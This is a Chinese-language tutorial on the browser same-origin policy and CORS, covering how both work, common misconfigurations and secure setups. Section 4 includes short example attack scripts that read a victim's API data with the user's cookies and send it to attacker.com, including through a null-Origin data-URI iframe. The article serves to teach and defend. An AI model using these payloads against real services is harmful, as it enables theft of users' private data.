同源策略与CORS:浏览器安全的边界
在现代Web安全体系中,同源策略(Same-Origin Policy,SOP)是一道不可逾越的红线。它定义了浏览器中不同来源文档之间的交互边界,而跨域资源共享(Cross-Origin Resource Sharing,CORS)则是这道边界上的通行证。理解它们的工作原理,不仅是前端开发者的必修课,更是安全从业者洞察Web安全攻防的核心切入点。
一、同源策略:浏览器的安全基石
1.1 什么是同源
同源策略是浏览器最核心的安全机制之一,由Netscape在1995年引入。两个URL被认为是同源的,当且仅当它们满足以下三个条件完全一致:
- 协议(Protocol):如
http或https - 主机(Host):如
example.com或api.example.com - 端口(Port):如
80、443或8080
| URL | 与 https://example.com/page 是否同源 | 原因 |
|---|---|---|
https://example.com/other | ✅ 同源 | 完全一致 |
http://example.com/page | ❌ 不同源 | 协议不同(http vs https) |
https://api.example.com/page | ❌ 不同源 | 主机不同(子域名不同) |
https://example.com:8080/page | ❌ 不同源 | 端口不同(默认443 vs 8080) |
https://example.com:443/page | ✅ 同源 | https默认端口443,显式声明不影响 |
1.2 同源策略的作用范围
同源策略并非一刀切地禁止所有跨域操作。它主要限制以下三类行为:
(1)DOM 访问限制
一个窗口(window)或iframe无法读取另一个非同源窗口的DOM内容。这是防止恶意网站通过嵌入银行页面来窃取用户信息的根本保障。
// 尝试访问非同源iframe的DOM会被阻止
const iframe = document.getElementById('bank-frame');
try {
iframe.contentDocument.body.innerHTML; // 抛出 SecurityError
} catch (e) {
console.error('Blocked by Same-Origin Policy:', e.message);
}(2)Cookie、LocalStorage 和 IndexedDB 隔离
浏览器严格隔离不同源的存储数据。a.com 无法读取 b.com 的Cookie,这是防止会话劫持的关键。
// 同源策略保护下的存储隔离
// 在 attacker.com 的页面中:
console.log(document.cookie); // 只能读取 attacker.com 的Cookie
console.log(localStorage.getItem('bank_token')); // null,无法访问 bank.com 的数据(3)XMLHttpRequest 和 Fetch API 限制
这是开发者最常遇到的同源策略限制。浏览器会阻止页面向非同源服务器发送请求并读取响应。
// 同源请求:正常执行
fetch('https://api.example.com/data') // 与当前页面同源
.then(res => res.json())
.then(data => console.log(data));
// 跨域请求:被浏览器阻止(除非服务器允许CORS)
fetch('https://api.other-site.com/data') // 不同源
.then(res => res.json())
.catch(err => console.error('CORS blocked:', err));1.3 同源策略的例外
同源策略并非绝对。以下场景允许跨域操作:
<img>、<script>、<link>、<video>等标签:可以加载跨域资源,但脚本无法读取内容(如Canvas的toDataURL()会因跨域图片而污染)<form>提交:允许跨域提交表单(这是CSRF攻击的基础)- JSONP:利用
<script>标签不受同源策略限制的特性实现的跨域数据获取
<!-- 跨域图片可以显示,但无法通过Canvas读取像素 -->
<img src="https://other-site.com/secret.png" crossorigin="anonymous">
<!-- 跨域脚本可以执行,但无法读取脚本内容 -->
<script src="https://cdn.example.com/library.js"></script>
<!-- 跨域CSS可以应用,但无法通过CSSOM读取规则(如果服务器未设置CORS) -->
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Roboto">二、跨域资源共享(CORS):受控的跨域机制
同源策略虽然安全,但在现代Web应用架构下过于严格。前后端分离、微服务架构、第三方API集成等场景都需要合法的跨域通信。CORS应运而生,它允许服务器通过HTTP头部声明哪些来源可以访问其资源。
2.1 CORS 的基本原理
CORS的核心机制是服务器在响应中添加特定的HTTP头部,告诉浏览器是否允许该跨域请求。浏览器在发送跨域请求前,会根据请求类型决定是否发送预检请求(Preflight)。
2.1.1 简单请求(Simple Requests)
满足以下全部条件的请求被视为简单请求,浏览器直接发送,不经过预检:
- 方法为
GET、HEAD或POST - 头部字段仅限于:
Accept、Accept-Language、Content-Language
- Content-Type 的值只能是 application/x-www-form-urlencoded、multipart/form-data 或 text/plain
- 不使用自定义头部
- 请求中没有使用
ReadableStream对象
// 简单请求示例:GET 请求
fetch('https://api.example.com/user', {
method: 'GET',
headers: {
'Accept': 'application/json'
}
});
// 服务器响应头部:
// Access-Control-Allow-Origin: https://client-site.com
// Access-Control-Allow-Credentials: true2.1.2 预检请求(Preflight Requests)
对于非简单请求,浏览器会先发送一个 OPTIONS 方法的预检请求,询问服务器是否允许该跨域请求。
// 触发预检的请求:使用 PUT 方法和自定义头部
fetch('https://api.example.com/user/123', {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'X-Custom-Header': 'my-value' // 自定义头部触发预检
},
body: JSON.stringify({ name: 'Alice' })
});浏览器发送的预检请求如下:
OPTIONS /user/123 HTTP/1.1
Host: api.example.com
Origin: https://client-site.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type, x-custom-header服务器需要正确响应预检请求:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://client-site.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, X-Custom-Header
Access-Control-Max-Age: 864002.2 CORS 响应头部详解
| 头部字段 | 作用 | 示例 |
|---|---|---|
Access-Control-Allow-Origin | 指定允许访问的来源 | * 或 https://example.com |
Access-Control-Allow-Credentials | 是否允许携带Cookie | true |
Access-Control-Allow-Methods | 允许的HTTP方法 | GET, POST, PUT |
Access-Control-Allow-Headers | 允许的请求头部 | Content-Type, Authorization |
Access-Control-Expose-Headers | 允许客户端访问的响应头部 | X-Request-Id |
Access-Control-Max-Age | 预检结果缓存时间(秒) | 86400 |
2.3 携带凭证的跨域请求
默认情况下,跨域请求不会携带Cookie。如果需要携带身份凭证(Cookie、HTTP认证、TLS客户端证书),需要同时满足两个条件:
- 客户端设置
credentials: 'include' - 服务器设置
Access-Control-Allow-Credentials: true
Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能为 *,必须指定具体的来源。否则会导致任意网站都能以用户身份访问资源。
// 客户端:携带Cookie的跨域请求
fetch('https://api.example.com/private', {
method: 'GET',
credentials: 'include', // 关键:携带Cookie
headers: {
'Accept': 'application/json'
}
});# 服务端(Python/Flask)正确配置
from flask import Flask, jsonify
from flask_cors import CORS
app = Flask(__name__)
# ❌ 错误:credentials=True 时不能允许所有来源
# CORS(app, supports_credentials=True, origins="*")
# ✅ 正确:指定具体来源
cors = CORS(app, resources={
r"/api/*": {
"origins": ["https://trusted-client.com"],
"supports_credentials": True,
"allow_headers": ["Content-Type", "X-Custom-Header"]
}
})
@app.route('/api/private')
def private_data():
return jsonify({"data": "sensitive information"})三、CORS 配置的安全陷阱
3.1 危险的通配符配置
最常见的CORS安全配置错误是将 Access-Control-Allow-Origin 设置为 * 并同时启用凭证。
# ❌ 极度危险:允许任意来源携带Cookie访问
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true这种配置完全绕过了同源策略的保护,任何恶意网站都可以通过构造请求来冒充用户身份,相当于在服务器端彻底关闭了跨域安全检查。
3.2 动态反射 Origin 头部
另一种常见错误是服务器直接将请求中的 Origin 头部反射到响应中:
# ❌ 危险的反射配置(伪代码)
def handle_request(request):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # 反射任意来源!
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response攻击者只需在请求中设置 Origin: https://attacker.com,服务器就会将该来源加入白名单。正确的做法是维护一个可信来源列表,仅对列表中的来源进行反射:
# ✅ 安全的白名单配置
ALLOWED_ORIGINS = {
'https://app.example.com',
'https://admin.example.com',
'https://mobile.example.com'
}
def handle_request(request):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # 重要:防止缓存中毒
return response3.3 空 Origin 绕过
某些服务器在 Origin 头部为空或不存在时,默认允许请求。这可以被利用:
<!-- 通过 sandbox iframe 发送空 Origin 请求 -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://vulnerable-api.com/data', {
credentials: 'include'
});
</script>
">
</iframe>sandbox 属性会阻止iframe发送 Origin 头部,如果服务器在这种情况下默认允许,就会构成安全漏洞。
3.4 子域名劫持与CORS
如果CORS配置允许整个域名及其子域名(如 *.example.com),而某个子域名存在安全漏洞(如子域名接管、XSS),攻击者就可以利用该子域名发起合法的跨域请求。
# ❌ 过于宽泛:允许所有子域名
Access-Control-Allow-Origin: https://*.example.com
Access-Control-Allow-Credentials: true如果 legacy.example.com 是一个被遗忘的、存在XSS漏洞的子域名,攻击者就可以:
- 在
legacy.example.com上注入恶意脚本 - 该脚本以
legacy.example.com的合法来源发起CORS请求 - 由于来源匹配
*.example.com,请求被允许并携带用户Cookie - 窃取
api.example.com返回的敏感数据
四、CORS 攻击实战场景
4.1 利用错误配置窃取数据
假设目标API存在CORS配置错误:
# 目标API的脆弱响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true攻击者可以在其控制的页面上部署以下脚本:
// attacker.com 上的恶意脚本
fetch('https://victim-api.com/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// 将窃取的数据发送到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});4.2 CORS 与 XSS 的协同利用
当目标站点存在XSS漏洞时,攻击者可以直接在同源上下文中执行代码,无需CORS。但如果XSS仅存在于某个子域名,而主域名API配置了 *.example.com 的CORS,攻击者就可以:
- 在
blog.example.com上利用XSS注入代码 - 代码以
blog.example.com的合法来源请求api.example.com - 由于CORS允许
*.example.com,请求成功携带Cookie - 窃取
api.example.com返回的敏感数据
4.3 利用 null Origin
某些内部系统或文件协议页面可能信任 null Origin。攻击者可以通过以下方式利用:
<!-- 通过 data URI 或 sandbox iframe 获取 null Origin -->
<iframe src="data:text/html,<script>
fetch('https://internal-api.com/admin', {
credentials: 'include'
}).then(r => r.text()).then(d => {
fetch('https://attacker.com/log?data=' + encodeURIComponent(d));
});
</script>">
</iframe>五、安全的 CORS 配置最佳实践
5.1 严格的白名单机制
# 生产级CORS配置示例(Python/FastAPI)
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
app = FastAPI()
# 明确定义允许的来源,绝不使用通配符
origins = [
"https://app.example.com",
"https://admin.example.com",
]
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=True, # 仅在需要时启用
allow_methods=["GET", "POST", "PUT"], # 限制方法
allow_headers=["Content-Type", "Authorization"], # 限制头部
max_age=600, # 合理的缓存时间
)5.2 关键安全原则
- 最小权限原则:仅允许必要来源,不开放
* - 凭证分离:如果不需要Cookie,绝不启用
allow_credentials - 头部验证:严格校验
Origin头部,拒绝空Origin或非法格式 - 缓存控制:设置
Vary: Origin防止CDN缓存错误的CORS响应 - 定期审计:检查CORS配置是否因部署变更而意外放宽
5.3 检测工具与方法
# 使用 curl 测试CORS配置
curl -I -X OPTIONS \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: GET" \
https://target-api.com/data
# 检查响应头部是否错误地允许了不可信来源// 浏览器控制台快速测试CORS
fetch('https://target-api.com/data', {
credentials: 'include',
headers: { 'Origin': 'https://attacker.com' }
}).then(r => console.log(r.status));六、同源策略与CORS的演进
6.1 现代浏览器的增强
- Cross-Origin-Resource-Policy (CORP):允许资源声明只能被同源或同站加载
- Cross-Origin-Embedder-Policy (COEP):要求嵌入的资源必须明确声明跨域策略
- Cross-Origin-Opener-Policy (COOP):隔离窗口引用,防止跨窗口攻击
# 现代安全头部组合
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin6.2 与内容安全策略(CSP)的协同
CSP并非CORS的替代品,而是互补关系。CSP控制页面可以加载哪些资源,CORS控制跨域请求的行为。
Content-Security-Policy: default-src 'self'; connect-src https://api.example.com结语
同源策略是浏览器安全的基石,CORS是在这个基石上开辟的受控通道。理解它们的工作机制,不仅能帮助开发者正确配置跨域通信,更能让安全从业者发现配置中的漏洞。在Web安全领域,最危险的往往不是完全开放的系统,而是那些看似有安全控制、实则配置错误的"半开"系统。CORS配置错误正是这类隐患的典型代表——它给了攻击者合法的身份凭证通道,却未对其来源进行严格甄别。
对于安全从业者而言,在渗透测试或代码审计中,CORS配置应当作为重点检查项。而对于开发者,遵循最小权限原则、严格白名单管理、禁用不必要的凭证传递,是构建安全跨域架构的不二法门。